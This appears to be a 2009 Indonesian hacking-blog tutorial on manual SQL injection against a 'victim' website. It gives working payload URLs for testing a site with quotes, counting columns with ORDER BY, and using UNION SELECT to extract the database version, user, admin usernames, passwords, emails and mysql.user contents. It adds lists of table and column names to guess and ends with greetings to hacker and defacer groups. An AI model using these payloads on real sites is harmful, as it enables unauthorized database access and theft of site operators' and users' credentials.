Loading

Monday, November 30, 2009

SQL injection v.4

Dalam tutorial ini saya akan menjelaskan semuanya tentang SQL Injection [versi 4].
Untuk memahami tutorial ini, Anda harus tahu sedikit tentang MySQL.
Anda dapat mempelajari beberapa hal yang anda tidak pahami tentang hal tersebut jika Anda tidak tahu!
karena Lebih dari 80%, dari semua situs yang ada rentan terhadap SQL Injection.
Jadi, menurut saya itu sangat penting.

Mari kita mulai.
Untuk menerapkan metode ini, anda harus terlebih dulu memeriksa apakah situs korban rentan [vulnerable] terhadap SQL injection atau tidak!
Ini dapat dilakukan secara manual dengan mudah tanpa kita menggunakan Scanners/script tertentu..
Anda hanya perlu memasukkan karakter yang dapat menimbulkan kesalahan MySQL, atau tidak sangat tinggi, dan null.

Contoh :

1. Bagaimana cara mengetahui sebuah site vulnerable terhadap SQL injection!

Misalnya ini adalah normal link :
code:
http://www.victim.com/index.php?id=1


Sekarang untuk membuat sebuah argument kesalahan MySQL, kita masukan karakter berupa ' [single quote] atau "-" [single mark]
code:
http://www.site.com/index.php?id='1

ato
code:
http://www.site.com/index.php?id=-1


Artinya, jika site korban rantan terhadap vulnerable maka akan terjadi kesalahan [page error]!
Maka kita bisa melakukan "injection" seperti yang kita inginkan.

nb: Penting: Ada beberapa situs yang mungkin memiliki kesalahan MySQL, tetapi kita tidak dapat melakukan injection.



2. Untuk menemukan jumlah kolom!

Kami perlu urutan fungsi oleh [x], dimana [X] adalah jumlah kolom dari sebuah database site korban :
code:
http://www.site.com/index.php?id=1order by [X]--


Sebagai contoh, kita mencoba melakukan percobaan pada site korban
code:
http://www.site.com/index.php?id=1order by 1-- [--> normal page]
--> normal page
code:
http://www.site.com/index.php?id=1order by 2-- [--> normal page]

code:
http://www.site.com/index.php?id=1order by 3-- [--> normal page]

code:
http://www.site.com/index.php?id=1order by 4-- [--> normal page]

code:
http://www.site.com/index.php?id=1order by 5-- [--> error page]


nah berubah, disini kita lihat terjadi kesalahan di "order by 5"
ini berarti bahwa Anda memiliki kolom 5-1 = 4!

Selanjutnya yang kita lakukan adalah untuk menemukan kolom yang rentan untuk menemukan administrator/user!
Untuk hal ini kita menggunakan fungsi "union all select [x],[y],[z],..."
dimana x, y, z adalah jumlah kolom yang kita temukan tadi.

diatas tadi kami memiliki 4 kolom!
maka kita ubah link menjadi:
code:
http://www.site.com/index.php?id=-1 union all select 1,2,3,4--


Pada tampilan layar akan terlihat sebuah angka yang muncul di halaman tersebut. Anggap saja bahwa dalam kasus ini angka yang muncul adalah antara angka 1 dan 4.
yang artinya kita bisa melakukan exploitasi database melalui angka yang keluar tersebut yaitu anga 1 dan 4.

Sekarang anda harus mengetahui versi pengguna database [Ini sangat penting].
untuk mengetahui jenis versi data base yang di gunakan kita bisa menggunakan perintah "version()" atau "@@version".

Jika Versi yang di gunakan adalah versi 4, maka yang akan kita lakukan adalah menebak dimana tabel dan kolom user dan [atau] administrator.
Sedangkan Jika Versi yang digunakan adalah versi 5, itu akan lebih memudahkan bagi kita untuk melakukan exploitasi.
karena di versi 5 sudah support "information_schema", yaitu sebuah perintah yang di gunakan untuk menemukan semua yang kita perlukan!

Untuk mengetahui jenis database kita bisa menggunakan perintah "database()".
Dan untuk mengetahui user kita bisa menggunakan perintah "user()".

Untuk lebih mudahnya, kita bisa menggunakan perintah "concat()" untuk melihat semua informasi yang kita butuhkan di dalam satu tempat!
code:
http://www.site.com/index.php?id=-1 union all select concat (version(),0x3a,user(),0x3a,database()),2,3,4--

nb : tanda "0x3a" adalah sebuah tanda berupa ":" [double coloon] yang telah di rubah menjadi karakter hexadecimal.
dan mempunyai peran untuk memisahkan informasi yang kita inginkan!



Sekarang kita belajar mengexploitasi versi 4.
1. mencari nama tabel

Kami tulis biasa "union all select ... FROM table_name--"
code:
http://www.site.com/index.php?id=-1 union all select 1,2,3,4 from table_name--


sekarang kita ganti perintah "table_name" dengan salah satu diantara ini :
* Admin, Administrator, user, pengguna, administrators, admins, anggota, anggota, dll [sialhkan di isi sesuai kreativitas kita, namanya juga nebak pak... explore your brain please :P]

Misalnya tabel yang anda temukan adalah tabel "user".
Kita dapat mengetahui di sana, memeriksa bahwa ketika saya mencari jumlah kolom.

Seperti muncul angka antara 1 -> 4 di contoh kita!

Jika sebuah tabel tidak muncul ada kesalahan lain, dan kemudian kita ganti lagi hingga nama table muncul.
Setelah saya menemukan tabel Anda harus mencari kolom yang berisi tabel user.
code:
http://www.site.com/index.php?id=-1 union all select 1,2,3,4 From user--


kita liat, muncul di layar muncul angka 2,3,4 [ini berarti bahwa kita dapat menggunakan salah satu pilihan dari angka yang keluar untuk mengexplorasi.. ;)]
misal angka yang kita pllih adalah angka 2.


2. Mencari nama kolom
caranya sama seperti kita mencari nama tabel tadi
code:
http://www.site.com/index.php?id=-1 union all select 1,column_name,3,4 FROM user--


Nama kolom umum:
* pengguna, USER_NAME, nama, usr, lulus, pw, passwd, passwor d, user_mail, mail, user_pass, user_password, dan seterusnya.
[explore lagi pak, biar lebih mantb :P]

Saya menemukan kolom email , USER_NAME, dan password
Kami akan menggunakan "concat()' untuk melihat data yang benar untuk setiap pengguna!

code:
http://www.site.com/index.php?id=-1 union all select concat(USER_NAME,0x3a,password,0x3a,email),3,4 FROM user--

untuk tampilan terbaik, kita bisa menggunakan perintah "limit x,y".
Contoh :
code:
http://www.site.com/index.php?id=-1 union all select 1,concat(USER_NAME,0x3a,password,0x3a,email) From user limit 0,1--

Kita lihat tabel pertama. kita urutkan satu per satu, menjadi "limit 0,1" kemudian "limit 1.1" kemudian kita ganti lagi menjadi "limit 2,1" begitu seterus nya sampai tidak muncul apapun lagi.

Jika anda tidak menemukan apapun, anda dapat mencoba "mysql.user--"
contoh :
code:
http://www.site.com/index.php?id=-1 union all select 1,2,3,4 From mysql.user--



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
K-159
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique(terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAFKAN ATAS SEMUA DOSA DAN SALAHKU
2. Dewi S.
3. W. Devi Amelia
4. S. Anna

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff!
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ whitecyber staff
~ lumajangcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, bius, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, ucrit_penyu, wendys182, cybermuttaqin
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom

0 komentar:

Categories

Stats

kumpulblogger